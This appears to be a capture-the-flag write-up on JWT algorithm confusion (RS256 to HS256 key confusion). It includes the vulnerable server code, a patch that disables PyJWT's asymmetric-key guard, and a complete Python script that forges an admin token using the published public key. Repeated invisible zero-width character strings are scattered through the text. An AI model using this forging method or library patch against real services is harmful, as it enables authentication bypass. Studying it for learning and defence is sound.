← Back to Writeups
CUSTOMMediumWeb

RSA or HMAC?

XESXOR9/2/20264 min read
#web#custom#medium#hmac_with_public_key_forgery#jwt_algorithm_confusion#library_patching#rs256_to_hs256_key_confusion#cve-2016-5431

RSA or HMAC?

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: hmac_with_public_key_forgery, jwt_algorithm_confusion, library_patching, rs256_to_hs256_key_confusion

Summary

Walkthrough of the CUSTOM Web RSA or HMAC?. Task: JWT auth where jwt.decode accepts both HS256 and RS256 using the same RSA public key, which is exposed publicly. Solution: algorithm confusion (CVE-2016-5431) — forge an HS256 token using the PE

Description

RSA or HMAC? There's another issue caused by allowing attackers to specify their own algorithms but not carefully validating them. Attackers can mix and match the algorithms that are used to sign and verify data. When one of these is a symmetric algorithm and one is an asymmetric algorithm, this creates a beautiful vulnerability.

The server is running PyJWT with a small patch to enable an exploit that existed in PyJWT versions <= 1.5.0. To create the malicious signature, you will need to patch your PyJWT library too. If you want to patch, look at the line that was added in the fix for the vulnerability. Use pip show pyjwt to find the location of the PyJWT library on your computer, and make the edit. For versions of PyJWT > 2.4.0 the code has been changed so you will have to edit jwt/utils.py instead of jwt/algorithms.py ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: The server issues RS256-signed JWT session tokens and exposes the RSA public key. The /authorise/ endpoint verifies tokens accepting BOTH HS256 and RS256 with the same public key as the verification key. The goal is to forge a token with admin: true to retrieve the flag.

Analysis

Relevant server source:

python
@chal.route('/rsa-or-hmac/authorise/<token>/')
def authorise(token):
    decoded = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256'])
    if "admin" in decoded and decoded["admin"]:
        return {"response": f"Welcome admin, here is your flag: {FLAG}"}
    ...
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

@chal.route('/rsa-or-hmac/create_session/<username>/')
def create_session(username):
    encoded = jwt.encode({'username': username, 'admin': False}, PRIVATE_KEY, algorithm='RS256')
    return {"session": encoded}

@chal.route('/rsa-or-hmac/get_pubkey/')
def get_pubkey():
    return {"pubkey": PUBLIC_KEY}

Root cause (JWT algorithm confusion / key confusion — CVE-2016-5431): jwt.decode accepts both a symmetric algorithm (HS256/HMAC) and an asymmetric one (RS256/RSA) while passing the SAME RSA PUBLIC_KEY as the verification key. The attacker controls the alg header field of the token. The RSA public key is not secret — it is published via /get_pubkey/. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So the attacker:

  1. Takes the public key (known to everyone).
  2. Forges an HS256 token using that public key as the HMAC shared secret.
  3. The server, seeing alg: HS256, verifies the HMAC using the public key it holds — which is exactly the secret the attacker used. Verification passes and the forged admin: true claim is trusted.

Modern PyJWT (the fix for this CVE) blocks using a PEM/asymmetric key as an HMAC secret. PyJWT's HMACAlgorithm.prepare_key calls is_pem_format() and raises InvalidKeyError("The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret."). The challenge ships a server with this check removed; to FORGE the token locally we must remove it on our side too. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step-by-step:

1. Get the RSA public key.

bash
curl -s "https://web.cryptohack.org/rsa-or-hmac/get_pubkey/"

The PEM is -----BEGIN RSA PUBLIC KEY----- ... -----END RSA PUBLIC KEY----- ending with a trailing newline (the server reads it from a .pem file).

2. Patch local PyJWT to allow a PEM key as HMAC secret.

Find PyJWT version and location:

bash
pip show pyjwt
python3 -c "import jwt, os; print(os.path.dirname(jwt.__file__))"

For PyJWT > 2.4.0 (here 2.10.1) the asymmetric-key guard lives in is_pem_format() in jwt/utils.py. Patch it to always return False so the HMAC prepare-key check is bypassed: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
def is_pem_format(key: bytes) -> bool:
    return False  # patched for rsa-or-hmac challenge

(For PyJWT <= 2.4.0 you would instead edit the is_pem_format check in jwt/algorithms.py HMACAlgorithm.prepare_key.)

3. Forge the HS256 token using the public key bytes as the HMAC secret.

CRITICAL: the secret must be the public key bytes EXACTLY as the server has them, including the trailing newline — the server reads the PEM from a file that ends in \n. Without the trailing newline the server returns Signature verification failed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
import jwt

pubkey = "-----BEGIN RSA PUBLIC KEY-----\n...\n-----END RSA PUBLIC KEY-----\n"  # byte-exact, trailing \n
token = jwt.encode({"username": "admin", "admin": True}, pubkey, algorithm="HS256")
print(token)

Header produced: {"alg":"HS256","typ":"JWT"}.

4. Submit the token.

bash
curl -s "https://web.cryptohack.org/rsa-or-hmac/authorise/<token>/"
# {"response":"Welcome admin, here is your flag: crypto{REDACTED}"}

5. Restore the PyJWT patch afterwards.

Full solve script

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
# Requires PyJWT patched so is_pem_format() returns False (jwt/utils.py for PyJWT > 2.4.0).
import jwt
import requests

BASE = "https://web.cryptohack.org/rsa-or-hmac"

# 1. Fetch the RSA public key exactly as the server stores it (keep the trailing newline!)
pubkey = requests.get(f"{BASE}/get_pubkey/").json()["pubkey"]
if not pubkey.endswith("\n"):
    pubkey += "\n"  # server reads PEM from a file that ends in \n

# 2. Forge an HS256 token using the public key as the HMAC secret
token = jwt.encode({"username": "admin", "admin": True}, pubkey, algorithm="HS256")
print("[+] forged token:", token)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 3. Authorise as admin
r = requests.get(f"{BASE}/authorise/{token}/")
print(r.json())

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering hmac_with_public_key_forgery, jwt_algorithm_confusion, library_patching, rs256_to_hs256_key_confusion was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-21 • CUSTOM • RSA or HMAC? • Difficulty: Medium